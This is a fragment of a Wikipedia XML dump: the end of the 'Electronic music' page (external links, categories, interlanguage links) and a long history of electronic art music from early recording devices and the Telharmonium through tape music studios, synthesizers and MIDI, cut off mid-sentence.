&lt;!-- 
****** Note on adding links:
****** Please add only links relevant to Electronic Music, not subgenres.
****** Do not use this space for advertising your site
****** Add links to only Prominant Communities ( &gt; 1000 members )
****** Add your link on the bottom of this list
--&gt;

=== Histories and collections ===

* [http://www.obsolete.com/120_years/ History of electronic musical instruments]
* [http://www.intuitivemusic.com/techno-guide-time-line.html History of electronic music]
* [http://sonhors.free.fr History of electronic music (in french)]
* [http://www.synthmuseum.com/ Synthesizer museum and magazine.]
* [http://www.di.fm/edmguide/edmguide.html Ishkur's guide to electronic music] - Satiric but informative multimedia guide to 180+ genres with 1000+ audio samples (requires [[JavaScript]], [[Macromedia Flash|Flash]], broadband)
* [http://e.discogs.com User built database about electronic music (e.discogs.com)]
* [http://www.phinnweb.org/history/ pHinnWeb/history] - Long list of links relating to electronic music history.
* [http://artofthestates.org/cgi-bin/genresearch.pl?genre=electronic Art of the States: electronic] - Small collection of electronic works by American composers

=== Recources and communities ===
* [http://www.infexious.net infexious.net]
[[Category:Electronic music|*]]

[[bg:Електронна музика]]
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[[fr:Musique électronique]]
[[it:Musica elettronica]]
[[ko:전자 음악]]
[[he:מוזיקה אלקטרונית]]
[[ka:ელექტრონული მუსიკა]]
[[hu:Elektronikus zene]]
[[nl:Elektronische muziek]]
[[ja:電子音楽]]
[[pl:Muzyka elektroniczna]]
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[[zh:電子音樂]]</text>
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  <page>
    <title>Electronic art music</title>
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      <text xml:space="preserve">{{genrebox|name=Electronic art music
|color=silver
|bgcolor=black
|stylistic_origins=[[20th century classical music]]
|cultural_origins=[[1940s]] - [[1950s]]
|instruments=[[Synthesizer]] - [[Tape loop]]s (in latter incarnations were
added [[Music sequencer|Sequencer]] - [[Keyboard instrument|Keyboard]] -
[[Sampler (musical instrument)|Sampler]] - [[Computer]])
|popularity=Small.
|derivatives=[[Techno music|Techno]] - [[Electronica]] - [[Intelligent dance music|IDM]] - [[Trance music|Trance]] - [[Glitch (music)|Glitch]]
|subgenrelist=List of electronic music genres
|subgenres=[[Electroacoustic]] - [[Musique concrète]] - [[Noise music|Noise]]
|fusiongenres=
|regional_scenes=
|other_topics=
}}

'''Electronic music''' has existed, in various forms, for more than a century. Between the time that recording sounds was first made possible and the computer technology of today, a vast amount of change has occurred. Technology has been developed for creating sounds, for recording sounds, composing, and for altering sounds. Some technology involved electronics, but some important conceptual changes that did not depend on electronics still had a profound impact on the advent of electronic music.

The experimentation with technology was occurring in many countries simultaneously, sometimes for different purposes. Throughout the last century, musicians, artists, scientists, inventors, and businessmen each had interest in the progress of technology, and cross-pollination was and continues to be quite common. For this reason, part of the history necessarily includes advances in other fields.

The first quarter of the 20th century was often referred to as the Mechanical Age, which overlapped and shifted into the Electronic Age. The last quarter of the 20th century marked the beginning of the revolutionary Computer Age, in the throes of which we now find ourselves.

==Composers==

As musicians, it is notable that some of the finest musicians and most highly acclaimed institutions are largely responsible for the progress made in the field of electronic music. This is not an isolated crowd; rather, it includes celebrities such as [[Stokowski]], [[Boulez]], [[Stockhausen]], and institutions including [[Columbia University]], [[Princeton University]], and [[Stanford University]], as well as many highly active and advanced studios in Europe. The beginnings of true electronic music were received with such profound appreciation. ''Time Magazine'' and the ''Today show'' featured the experimental composers and their works, an indication that they were well-received by conventional musicians.

The people involved in electronic music today still come from many different directions, and not solely from conventional classical, or art music academia. This fact may be part of the reason that classically trained performers have less awareness of electronic music than would be warranted considering its history. These classical performers tend to still be taught pre-20th Century and early 20th Century music, and the latter half of the century is largely ignored. As one can deduce from a brief look at the history of electronic music, the progress represents a natural course, a continuum, of progress of classical music. Many believe as flutist Patricia Spencer does, that the exploration of electronic instruments represents &quot;the development of a new instrument.&quot; [17]

Its inclusion in the current pedagogy is quite appropriate; in fact, one would be ill advised to exclude teaching this music, seeing as it represents the current trend and profoundly affects the future of classical music. Proponents of electronic music today understand the importance of knowing the history, as exemplified in this statement by flutist Elizabeth McNutt, &quot;A knowledge of the history brings greater understanding, and we are more forgiving.&quot; [18]

[[Mario Davidovsky]], one of the most important living figures involved in electronic music, describes the effect electronic music had on his acoustic writing:

:...and then when I would return to write chamber music and orchestral music, I was incredibly influenced by all these new ideas of how sound could behave.

He also understands this music to have a large impact on all contemporary composers:

:We can say that 20th Century music has been greatly influenced by electronic music, whether the composers were using electronic instruments or not. [19]

==History of the electronic music==

This history includes advances in music technology in general, some significant works and composers, and does not focus on flute music in particular. Interestingly, the composers of the pieces analyzed in this dissertation have their own place in this history, which brings the history through the generations to the present day.

===Recording devices===

An important beginning to the history of electronic music is the ability to record sounds, which was not possible until 1867. It was then that [[Leon Scott deMartinville]] first recorded sound outlines onto cylinders coated with carbon (lampblack). This important discovery was the precursor to the phonograph.

Just a decade later, in 1878, [[Thomas A. Edison]] patented the phonograph, which uses cylinders as demonstrated first in deMartinville's device. Although cylinders continued to be used long after this, it was soon after the phonograph came into use that Emile Berliner developed the phonograph disc, in 1897. Also in this year, Berliner developed the telephone transmitter. [20]

In [[Copenhagen]] in 1898, [[Valdemar Poulsen]] patented the first magnetic recording machine, which used wire as the recording medium. This device was named the Telegraphone. It caused a sensation in 1900 when it was exhibited at the Exposition Universelle in Paris. Over the next couple of decades, many experimental devices were invented, some of which became obscure as the technology surpassed them.

===Telharmonium===

One such device was an instrument called the Telharmonium, which was created by [[Thaddeus Cahill]] in 1902. The Telharmonium was also known as the Dynamaphone, and was able to produce any combination of notes and overtones, at any dynamic level. This instrument was a predecessor of the famous [[RCA Mark II Sound Synthesizer]] later installed at [[Computer_Music_Center|CPEMC]] in the 1950s. The major drawback of the Telharmonium was that it weighed over two hundred tons and was large. It soon fell into obscurity. [21]

===Audion===

A significant invention, which was later to have a profound effect on electronic music, was [[Lee DeForest]]'s triode [[audion]]—this was the first [[vacuum tube]]. Invented in 1906, this ultimately led to the amplification of electrical signals, electronic computation, and other endless electronic feats.

===Busoni===

Just a year later, another significant contribution was made to the advent of experimental music. This was the 1907 publication of [[Ferruccio Busoni]]'s ''Sketch for a New Aesthetic of Music'', which discussed the use of electrical and other new sound sources in future music. He wrote of the future of music:

:Only after a long and careful series of experiments, and a continued training of the ear, can render this unfamiliar material approachable and plastic for the coming generation, and for Art. [22]

Also in the ''Sketch for a New Aesthetic of Music'', Busoni states:

:Music as art, our so-called occidental music, is hardly four hundred years old; its state is one of development, perhaps the very first stage of a development beyond present conception. And we talk of 'classics' and 'hallowed traditions'! And we have talked of them for a long time!
:We have formulated rules, stated principles, laid down laws—we apply laws made for maturity to a child that knows nothing of responsibility! This child-music-it floats on air! It touches not the earth with its feet. It knows no law of gravitation. It is well nigh incorporeal. Its material is transparent. It is sonorous air. It is almost Nature herself. It is free!
:But freedom is something that mankind has never wholly comprehended, never realized to the full. Man can neither recognize nor acknowledge it. He disavows the mission of this child; he hangs weights upon it. This buoyant creature must walk decently, like anyone else. It may scarcely be allowed to leap—when it were its joy to follow the line of the rainbow, and to break sunbeams with the clouds! [23]

===Varèse===

Through this writing, as well as his personal contact, Busoni was to have a profound effect on many musicians and composers, perhaps most notably his pupil, [[Edgard Varèse]]. Varèse said of his experience:

:Together we used to discuss what direction the music of the future would, or rather, should take and could not take as long as the straitjacket of the tempered system. He deplored that his own keyboard instrument had conditioned our ears to accept only an infinitesimal part of the infinite gradations of sounds in nature. He was very much interested in the electrical instruments we began to hear about, and I remember particularly one he had read of called the Dynamophone. All through his writings one finds over and over again predictions about the music of the future which have since come true. In fact, there is hardly a development that he did not foresee, as for instance in this extraordinary prophecy: 'I almost think that in the new great music, machines will also be necessary and will be assigned a share in it. Perhaps industry, too, will bring forth her share in the artistic ascent. [24]

===Futurism===

In [[Italy]], the [[Futurist]]s were coming at the changing aesthetic from a different angle, but one that also affected the world of classical music. A major thrust of the Futurist philosophy was to value &quot;noise,&quot; and to place artistic and expressive value on sounds that had previously not been considered even remotely musical. A quote from their manifesto states that their credo is:

:To present the musical soul of the masses, of the great factories, of the railways, of the transatlantic inters, of the battleships, of the automobiles and airplanes. To add to the great central themes of the musical poem the domain of the machine and the victorious kingdom of Electricity. [25]

In 1914, futurist [[Luigi Russolo]] held the first &quot;art-of-noises&quot; concert in Milan on April 21. This used his Intonarumori, described by Russolo as &quot;acoustical noise-instruments, whose sounds (howls, roars, shuffles, gurgles, etc.) were hand-activated and projected by horns and megaphones.&quot; [26]
In June, similar concerts are held in Paris.

===Theremin===

Another development, which aroused the interest of many composers, occurred in 1919-1920. In Leningrad, Leon Theremin (actually [[Lev Termen]]) built and demonstrated his Etherophone, which was later renamed the [[Theremin]]. This led to the first compositions for electronic instruments, as opposed to noisemakers and re-purposed machines.

Composers who ultimately utilized the Theremin included [[Varèse]]—in his piece ''Ecuatorial'' (1934)—, [[Stokowski]], and others.
In 1929, [[Joseph Schillinger]] composed ''First Airphonic Suite for Theremin and Orchestra'', premiered with the [[Cleveland Orchestra]] with [[Leon Theremin]] as soloist.

===Ondes Martenot===

The 1920s have been called the apex of the Mechanical Age and the dawning of the Electrical Age. In 1922, in Paris, [[Darius Milhaud]] began experiments with &quot;vocal transformation by phonograph speed change.&quot; [27] These continued over the next 5 years (to 1927).

This decade brought a wealth of early electronic instruments—along with the Theremin—, there is the presentation of the [[Ondes Martenot]], which was designed to reproduce the microtonal sounds found in Hindu music, and the [[Trautonium]].
Maurice Martenot invented the Ondes Martenot in 1928, and soon demonstrated it in Paris. Composers using the instrument ultimately include [[Messiaen]], [[Jolivet]], [[Honegger]], [[Milhaud]], [[Varese]], and [[Koechlin]]. In 1937, Messiaen wrote ''Fets des bells eaux for 6 ondes-martinot'', and featured the instrument as a soloist in ''Trois petites liturgies de la Presence Divine''.

===Trautonium===

The Trautonium was also invented in 1928, and in 1940, Richard Strauss used Trautonium in his ''Japanese Festival Music''. This new class of instruments, which are microtonal by nature, was adopted by composers slowly at first, but by the early 1930s there is clearly a burst of new works incorporating these and other electronic instruments.

In 1924, [[Ottorino Respighi]] composed ''The Pines of Rome'', which calls for the use of a phonograph recording of nightingales. This probably constitutes the first true &quot;[[electroacoustic]]&quot; composition/performance; that is, the first combination of acoustic instruments with an electronic device. However, this is actually more along the lines of using of a sound effect, as was occurring in radio or film at the time, and therefore should probably not really be considered a proper electroacoustic composition.

The following year, [[Antheil]] first composed for mechanical devices, electrical noisemakers, motors and amplifiers in his unfinished opera, ''[[Ulysses (Joyce)|Mr. Bloom]]'', as a response to the &quot;art of noises&quot; of [[Luigi Russolo]], [[Marinetti]] and the other Futurists. And just one year later in 1926, was the premiere of Antheil's ''[[Ballet Mécanique]]'', using car horns, airplane propellers, saws and anvils.

Recording of sounds made a leap in 1927, when American inventor [[J. A. O'Neill]] developed a recording device that used magnetically coated ribbon. Surprisingly, however, this failed to take off commercially. Two years later, [[Laurens Hammond]] established his company for the manufacture of electronic instruments. He went on to produce the [[Hammond organ]], which was based on the principals of the [[Telharmonium]], along with other developments including early reverberation units. [28]

===First synthesizer===

In that same year, A. Givelet and P. Coupleux develop an instrument utilizing oscillators controlled by punched paper rolls. This is arguably the first real &quot;synthesizer&quot;. Just a few years later (in 1935), another significant development was made in Germany. Allgemeine Elektrizitäts Gesellschaft (AEG) demonstrated the first commercially produced [[magnetic tape recorder]], called the &quot;[[Magnetophon]]&quot;. The tape itself was invented by Fritz Pfleumer, and manufactured by I.G. Farben AG. [[Audio tape]], which had the advantage of being fairly light as well as having good audio fidelity, ultimately replaced the bulkier wire recorders.

In 1939, [[John Cage]] composed ''[[Imaginary Landscape]] no.1'' while teaching at The Cornish School in Seattle. The piece calls for [[muted piano]], [[cymbal]], and two variable-speed [[turntables]] playing records of test tones. This could be considered the first use of electronically produced sounds as instrumental voices.
This differs from Antheil's use of mechanical gadgets, and from Respighi's use of recordings as pure sound effect (bird sounds).
Cage composed two more pieces in his ''Imaginary Landscape'' series, both in 1942 while in Chicago, which expanded on this pioneering work. He composed ''March (Imaginary Landscape no. 2)'' for [[percussion]] [[quintet]] and amplified coil of wire, and then ''Imaginary Landscape no. 3'' for [[percussion]], tin cans, muted [[gong]], audio frequency [[oscillators]], variable speed turntables, frequency recordings (test tones), [[buzzer]], amplified coil of wire, and [[marimba]] amplified with a [[contact microphone]].

===Post-war===

The post-war 1940s were a time of much activity, both in Europe (particularly France and Germany), and the United States. In Paris, Paul Boisselet was experimenting with disc and tape procedures. Ultimately, composers in France favored recording and manipulating acoustic sounds, and are the progenitors of Musique Concrete. In the United States, the focus turned more toward the generation of sounds, as well as the generation of compositions through use of computers. In 1946, the [[ENIAC]] (the Electronic Numerical Integrator and Computer) was invented, the first true computer.

===Pierre Schaeffer===

In 1948, [[Radiodiffusion-Télévision Française]] (RTF) broadcast composer [[Pierre Schaeffer]]'s ''Etude aux Chemin de Fer'' on October 5th. This was the first &quot;[[movement]]&quot; of ''Cinq etudes de bruits'', and marked the beginning of studio realizations and [[musique concrète]]. Schaeffer employed a disk-cutting [[lathe]], four turntables, a four-channel mixer, filters, an echo chamber, and a mobile recording unit.

Just a year later, in 1949, Schaeffer created a musique concrete piece using flute sounds as the raw material: ''Variations sur une Flûte Mexicaine'' (‘Variations on a Mexican Flute’). This piece marked the first use of flute in conjunction with electronics. The piece was broadcast on [[Paris Radio]] on November 3.

In late January of 1950, it was played at a tape concert at the [[Paris Conservatory]]. Not long after this, Pierre Henry began collaborating with Schaeffer, a collaboration that was to have profound and lasting affects on the progression of electronic music. Also associated with Schaeffer, [[Varese]] begins work on ''Déserts'' for chamber orchestra and tape. The tape parts were created at Pierre Schaeffer's studio, and were later revised at Columbia University.

In 1950, Schaeffer gives the first public (non-broadcast) concert of musique concrete at the Ecole Normale de Musique in Paris.
&quot;Schaeffer used a PA system, several turntables, and mixers. The performance did not go well as creating live montages with turntables had never been done before.&quot; [29] Pierre Henry later that same year collaborated with Schaeffer on ''Symphonie pour un homme seul'' (1950) the first major work of musique concrete. In Paris in 1951, in what was to become an important worldwide trend, RTF established the first studio for the production of electronic music. Also in 1951, Schaeffer and Henry produced an opera, ''Orpheus'', for concrete sounds and voices.

===Morton Feldman===

Meanwhile, back in the United States, sounds were being created electronically and used in composition, as exemplified in a piece by [[Morton Feldman]] called ''Marginal Intersection''. This piece is scored for winds, brass, percussion, strings, 2 oscillators, and sound effects of riveting, and is one of those that uses Feldman's &quot;box notation&quot; system. Feldman composed this at the age of twenty-five. The Music for Magnetic Tape Project was then formed by [[John Cage]], [[Earle Brown]], [[Christian Wolff]], [[David Tudor]], and [[Morton Feldman]], and lasted three years until 1954. Cage completed ''Williams Mix'' while working with the Music for Magnetic Tape Project.The group had no permanent facility, and had to rely on borrowed time in commercial sound studios.

===Columbia University===

Also in the U.S., in the same year, significant developments were happening in New York City. [[Columbia University]] purchased its first [[tape recorder]]—a professional [[Ampex]] machine—for the purpose of recording concerts.

[[Vladimir Ussachevsky]], who was on the music faculty of Columbia University, was placed in charge of the device, and almost immediately began experimenting with it.
[[Herbert Russcol]] writes: &quot;Soon he was intrigued with the new sonorities he could achieve by recording musical instruments and then superimposing them on one another.&quot; [30]
Ussachevsky said later: &quot;I suddenly realized that the tape recorder could be treated as an instrument of sound transformation.&quot; [31]

On May 9 of that year, Ussachevsky presented several demonstrations of tape music/effects that he created at his Composers Forum, in the McMillin Theatre at Columbia University. In an interview, he stated: &quot;...I presented a few examples of my discovery in a public concert in New York together with other compositions I had written for conventional instruments.&quot; [32]
[[Otto Luening]], who had attended this concert, remarked: &quot;The equipment at his disposal consisted of an Ampex tape recorder...and a simple box-like device designed by the brilliant young engineer, Peter Mauzey, to create feedback, a form of mechanical reverberation. Other equipment was borrowed or purchased with personal funds.&quot; [33]

Just three months later, in August of 1951, Ussachevsky traveled to Bennington, Vermont at Luening's invitation to present his experiments. There, the two collaborated on various pieces. Luening described the event: &quot;Equipped with earphones and a flute, I began developing my first tape-recorder composition. Both of us were fluent improvisors and the medium fired our imaginations.&quot; [34]
They played some early pieces informally at a party, where &quot;a number of composers almost solemnly congratulated us saying, 'This is it' ('it' meaning the music of the future).&quot; [35]

Word quickly reached New York City. Oliver Daniel telephoned and invited the pair to &quot;produce a group of short compositions for the October concert sponsored by the American Composers Alliance and Broadcast Music, Inc., under the direction of Leopold Stokowski at the Museum of Modern Art in New York. After some hesitation, we agreed... [[Henry Cowell]] placed his home and studio in Woodstock, New York, at our disposal. With the borrowed equipment in the back of Ussachevsky's car, we left Bennington for Woodstock and stayed two weeks. ...In late September, 1952, the travelling laboratory reached Ussachevsky's living room in New York, where we eventually completed the compositions.&quot; [36]

Two months later, on October 28, Vladimir Ussachevsky and Otto Luening presented the first Tape Music concert in the United States. The concert included Luening's ''Fantasy in Space'' (1952)—&quot;an impressionistic [[virtuoso]] piece&quot; [37] using manipulated recordings of flute—and ''Low Speed'' (1952), an &quot;exotic composition that took the flute far below its natural range.&quot; [38] Both pieces were created at the home of Henry Cowell in Woodstock, NY. After several concerts caused a sensation in New York City, Ussachevsky and Luening were invited onto a live broadcast of NBC's Today Show to do an interview demonstration—the first televised electroacoustic performance. Luening described the event: &quot;I improvised some [flute] sequences for the tape recorder. Ussachevsky then and there put them through electronic transformations.&quot; [39]

===Sequencer===

These short few months were some of the most exciting in music history and technology, and the profundity of it was recognized at the time. It seems doubtful that electroacoustic music ever received such a wide audience again, unless one includes televised concerts by latter day rock and jazz fusion groups. Others were certainly active exploring new technology also. In that same year, 1951, former [[jazz]] composer [[Raymond Scott]] invented the first [[sequencer]], which consisted of hundred of switches controlling stepping relays, timing solenoids, tone circuits and 16 individual oscillators.

After this point, we see a spate of compositions utilizing the new technology, and a great deal included acoustic as well as electronic sounds. In 1952, [[Henk Badings]] composed the ''Capriccio for violin and two sound tracks'', which is one of the earliest known pieces for combined electric and acoustic sounds.

===Maderna and Berio===

That same year, the first piece to use flute as an acoustic instrument along with electronics was composed. This was done by [[Bruno Maderna]], in Italia, and was entitled ''Musica su Due Dimensioni'' (Music in Two Dimensions) for flute, percussion, and electronic sounds on tape. The tape part was later revised in 1958.
The following year, [[Luciano Berio]], in Italia, composed his ''Mimusique n. 1'', and Luening and Ussachevsky collaborated again, this time composing ''Rhapsodic Variations'' for orchestra and tape.
Edgard Varese, in France, received an Ampex tape recorder as an anonymous gift and began work on ''Déserts'', for orchestra and tape, while Stockhausen, in Cologne, completes Studie I.

===Stochastic===

An important new development was the advent of computers for the purpose of composing music, as opposed to manipulating or creating sounds. [[Iannis Xenakis]] began what is called &quot;musique stochastique,&quot; or &quot;[[stochastic music]],&quot; which is a method of composing that employs computers and mathematical probability systems. Different probability algorithms were used to create a piece under a set of parameters. Xenakis used a computer to aid in calculating the velocity trajectories of [[glissando|glissandi]] for his orchestral composition ''Metastasis''.

===Déserts===

1954 saw the advent of what would now be considered authentic electric plus acoustic compositions—acoustic instrumentation augmented/accompanied by recordings of manipulated and/or electronically generated sound. Three major works were premiered that year: Varese's ''Déserts'', for chamber ensemble and tape sounds, and two works by Luening and Ussachevsky: ''Rhapsodic Variations for the Louisville Symphony'' and ''A Poem in Cycles and Bells, both for orchestra and tape.
By dint of his beginning work on ''Déserts'' the year before, in 1953, the prize for being the first to compose a &quot;proper&quot; electroacoustic piece should probably go to Varèse. Because he had been working at Schaeffer's studio, the tape part contains much more concrete sounds than electronic. &quot;A group made up of wind instruments, percussion and piano alternates with mutated sounds of factory noises and ship sirens and motors, coming from two loudspeakers.&quot; [40]

''Déserts'' was premiered in Paris in the first [[stereo]] broadcast on French Radio. At the German premiere, which was conducted by [[Bruno Maderna]], the tape controls were operated by [[Karlheinz Stockhausen]]. [41] The title ''Déserts'', suggested to Varèse not only, &quot;all physical deserts (of sand, sea, snow, of outer space, of empty streets), but also the deserts in the mind of man; not only those stripped aspects of nature that suggest bareness, aloofness, timelessness, but also that remote inner space no telescope can reach, where man is alone, a world of mystery and essential loneliness.&quot; [42] Meanwhile, Stockhausen composed his ''Elektronische Studie II''—the first electronic piece to be notated.

In 1955, more experimental and electronic studios began to appear. Notable were the creation of the [[Milan]] Studio de Fonologia [[RAI]], (with Luciano Berio as artistic director), a studio in [[Tokyo]] founded by [[Mayazumi]], and the Phillips studio at [[Eindhoven]], the [[Netherlands]], which was later shifted to [[University of Utrecht]] Institute of Sonology in 1960.

The impact of computers continued in 1956. [[Lejaren Hiller]] and [[Leonard Isaacson]] composed ''Iliac Suite'' for [[string quartet]], the first complete work of computer-assisted composition using [[algorithm|algorithmic]] composition. &quot;... Hiller postulated that a computer could be taught the rules of a particular style and then called on to compose accordingly.&quot; [43]

That same year Stockhausen composed ''Gesang der Jungelinge'', the first major work of the [[Cologne]] studio, based on text from the ''[[Book of Daniel]]''. An important technological development of that year was the invention of the [[Clavivox]] [[synthesizer]] by [[Raymond Scott]] with subassembly by [[Robert Moog]].

Later, [[Milton Babbit]] began applying serial techniques to electronic music.

:From 1950 to 1960 the vocabulary of tape music shifted from the fairly pure experimental works which characterized the classic Paris and Cologne schools to more complex and expressive works which explored a wide range of compositional styles. More and more works began to appear by the mid-1950's which addressed the concept of combining taped sounds with live instruments and voices. There was also a tentative interest, and a few attempts, at incorporating taped electronic sounds into theatrical works. [44]

1957 saw an exciting new development in computer technology. The first use of a computer to generate sound was demonstrated at [[Bell Telephone Laboratories]], New Jersey by [[Max Mathews]], who used the [[MUSIC4]] program running on an IBM mainframe computer, which used a primitive digital to analog converter. Mathews later left Bell Labs to work at [[Stanford]], which became a major center for electronic and computer music.

In 1958, University of Illinois at Champaign/Urbana established the Studio for Experimental Music under the initial direction of Lejaren Hiller. The studio became, and remains, one of the most important centers for electronic music research in the United States.

The public remained interested in the new sounds being created around the world, as can be deduced by the inclusion of Varese' ''Poeme Electronique'', which was played over four hundred loudspeakers at the [[Phillips Pavilion]] of the 1958 [[Brussels World Fair]]. That same year, [[Mauricio Kagel]], an [[Argentina|Argentinean]] composer, composed ''Transición II'', the first piece to call for live tape recorder as part of performance. The work was realized in Cologne. Two musicians performed on a piano, one in the traditional manner, the other playing on the strings and wood. Two other performers used tape to unite the presentation of live sounds with the future of pre-recorded materials from later on and its past of recordings made earlier in the performance.

In 1958, one of the most important and influential studios was formed. The Columbia-Princeton Electronic Music Center (CPEMC) was formed by Vladimir Ussachevsky and Otto Luening of Columbia, and Milton Babbitt and [[Roger Sessions]] in Princeton with the help of a $175,000 Rockefeller Grant. Other composers involved included [[Mario Davidovsky]], [[Halim El-Dabh]], [[Bülent Arel]], [[Luciano Berio]], [[Milton Babbitt]], [[Charles Wuorinen]], [[Pril Smiley]], and [[Jacob Druckman]]. In 1960, [[Computer_Music_Center|CPEMC]] obtains the [[RCA Mark II Sound Synthesizer]], the first major voltage-controlled synthesizer.

This is the same year that the [[integrated circuit]] was invented.

By this time, a strong community of composers and musicians working with new sounds and instruments was well established, and growing. 1960 witnessed the composition of Luening's ''[[Gargoyle]]s'' for violin and tape as well as the premiere of Stockhausen's ''Kontakte'' for electronic sounds, piano, and percussion. This piece existed in two versions—one for 4-channel tape, and the other for tape with human performers.
&quot;In Kontakte, Stockhausen abandoned traditional musical form based on linear development and dramatic climax. This new approach, which he termed 'moment form,' resembles the 'cinematic splice' techniques in early twentieth century film.&quot; [45]

The 1960s also saw the development of large mainframe computer synthesis. Max Mathews of Bell Labs perfected MUSIC V, a direct [[digital synthesis]] language. Concurrent with this was the development of smaller voltage-controlled synthesizers by [[Moog Music]] and others that made instruments available to most composers, universities and popular musicians. A well-known example of the use of these synthesizers is the ''[[Switched-On Bach]]'' album by [[Wendy Carlos]].

This time is also the true beginning of live electronic performance. The [[Synket]], a live performance instrument—used extensively by composer [[John Eaton]] in works such as ''Concert Piece for Synket and Orchestra'' (1967)—was invented.

ONCE Festivals, featuring multimedia theater music, were organized by [[Robert Ashley]] and [[Gordon Mumma]] in [[Ann Arbor]], MI.

Milton Babbitt composed his first electronic work using the synthesizer—his ''Composition for Synthesizer''—which he created using the RCA synthesizer at CPEMC.

&quot;For Babbitt, the RCA synthesizer was a dream come true for three reasons. First, the ability to pinpoint and control every musical element precisely. Second, the time needed to realize his elaborate serial structures were brought within practical reach. Third, the question was no longer &quot;What are the limits of the human performer?&quot; but rather &quot;What are the limits of human hearing?&quot; [46]

The collaborations also occurred across oceans and continents. In 1961, Ussachevsky invited Varese to the Columbia-Princeton Studio (CPEMC). Upon arrival, Varese embarked upon a revision of ''Déserts''. He was assisted by [[Mario Davidovsky]] and [[Bulent Arel]]. [47]

The intense activity occurring at CPEMC and elsewhere inspired the establishment of the San Francisco Tape Music Center in 1963. It was established by [[Morton Subotnick]], and soon incorporated a voltage-controlled synthesizer based around automated sequencing by [[Donald Buchla]], and used in album-length Subotnick pieces such as ''Silver Apples of the Moon'' (1967) and ''The Wild Bull'' (1968).

Back across the Atlantic, in [[Czechoslovakia]], 1964, the First Seminar of Electronic Music was held at the Radio Broadcast Station in Plzen. Four government-sanctioned electroacoustic music studios were later established in the 1960s under the auspices of extant radio and television stations.

New instruments continued to develop. In 1964, the first fully-developed [[Moog synthesizer]] was completed. Robert Moog began public sales the following year (1965). Another popular instrument was the [[Hammond organ]].

In 1965, Karlheinz Stockhausen composed ''Mikrophonie II'' for choir, Hammond organ, electronics and tape.

===Pop electronic music===

In 1966, the [[Beach Boys]] became the first pop music group to use electronic instruments (using a keyboard-controlled variation on the [[Theremin]], in the song &quot;I Just Wasn't Made for These Times&quot; on Pet Sounds).

The Beatles follow a year later by using concrete techniques on Revolver and Sgt. Pepper's Lonely Hearts Club Band, directly influenced by recordings of Schaeffer and Stockhausen (whose face appears on the album cover).

1967 was another exciting year for electronic music. [[Leon Kirschner]] composed ''String Quartet No. 3'', the first piece with electronics to win the [[Pulitzer Prize]].

Also that year, Max Mathews and F. Richard Moore developed GROOVE, a real-time digital control system for analog synthesis, eventually to be used extensively by composers [[Laurie Spiegel]] and [[Emmanuel Ghent]] in the 1970s. In 1979, Sequential Circuits company introduced the Prophet, the first synthesizer to use microprocessor control.

===Mini-Moog===

In 1970, Charles Wuorinen composed Times Encomium, the first Pulitzer Prize winner for an entirely electronic composition. Also in the 1970s, the [[Minimoog|Mini-Moog]] was created. This was a small, integrated synthesizer that made analog synthesis easily available and affordable, along with newcomers [[ARP]] and [[Oberheim]]. This paralleled the development of real-time digital synthesis. Charles Dodge composed ''Speech Songs'' (1972) based on early speech synthesis research.

===Synclavier===

Jon Appleton (with Jones and Alonso) invented the Dartmouth Digital Synthesizer, later to become the New England Digital Copt's [[Synclavier]]. Barry Vercoe wrote Music 11, a next-generation music synthesis program (later evolving into [[csound]], which is still widely used).

IRCAM (Paris) became a major center for computer music research and realization and development of the [[4X]] computer system, featuring then revolutionary real-time digital signal processing. [[Pierre Boulez]]'s ''Repons'' (1981) for 24 musicians and 6 soloists used the 4X to transform and route soloists to a loudspeaker system.

&quot;Under the general direction of Pierre Boulez and funded by the French government, IRCAM is a large and active research organization devoted to the scientific study of musical phenomena and to bringing together scientists and musicians to work on common interests.&quot; [48]

In the mid to late 1970s, the British band [[Throbbing Gristle]] spawned an entire sub-genre dubbed [[industrial music]]. [[Electroacoustic music]] and experimental electronic music thus became a widespread musical &quot;underground&quot; outside of academe thanks in part to &quot;taper culture&quot;—a sort of western [[samizdat]] in which musicians and composers traded and distributed their works on cassette tapes (much cheaper and more accessible that vinyl). The most respected (and popular) practitioners of &quot;industrial music&quot; were and continue to be knowledgeable of academic composers in the oeuvre and informed by their theoretical works. These would include groups such as the [[Hafler Trio]], [[Jim O'Rourke (musician)|Jim O'Rourke]], [[Organum]], [[Sonic Youth]], and [[Illusion of Safety]].

===MIDI===

In 1980, a group of musicians and music merchants met to standardize an interface by which new instruments could communicate control instructions with other instruments and the prevalent microcomputer. This standard was dubbed MIDI ([[Musical Instrument Digital Interface]]). A paper was authored by [[Dave Smith]] of [[Sequential Circuits]] and proposed to the [[Audio Engineering Society]] in 1981. Then, in August 1983, the MIDI Specification 1.0 was finalized.

The advent of MIDI technology allows a single keystroke, control wheel motion, pedal movement, or command from a microcomputer (e.g., an [[Apple Macintosh]]) to activate every device in the studio remotely and in synchrony, with each device responding according to conditions predetermined by the composer.

MIDI instruments and software made powerful control of sophisticated instruments easily affordable by many studios and individuals. Acoustic sounds became reintegrated into studios via [[Sampling (music)|sampling]] and sampled-ROM-based instruments.

[[Miller Puckette]] developed graphic signal-processing software for 4X called [[MAX]] (after [[Max Mathews]]) and later ports it to [[Macintosh]] (with [[Dave Zicarelli]] extending it for [[Opcode]]) for real-time MIDI control, bringing algorithmic composition availability to most composers with modest computer programming background. At the same time, Sequential Circuits introduced the Prophet 600—the first [[MIDI keyboard]].

Soon thereafter, in 1983, [[Yamaha]] introduced the first stand-alone digital synthesizer, the [[DX-7]]. It used frequency modulation synthesis (FM synthesis), first experimented with by [[John Chowning]] at Stanford during the late '60s, &quot;turning FM synthesis from a software algorithm that ran on mainframes into chips that powered a commercial synthesizer took seven years.&quot; [50]

In 1985, the final MIDI specification was published by the MIDI Manufacturers Association. Also in 1985, Digidesign released Sound Designer software for the Macintosh, this being the first consumer-level hard disk recording and editing software. David Jaffe, Julius Smith and Perry Cook (CCRMA studios of Stanford University) prototype physical ing, a method of synthesis in which physical properties of existing instruments are represented as computer algorithms which can then be manipulated and extended.

Barry Vercoe describes one of his experiences with early computer sounds:

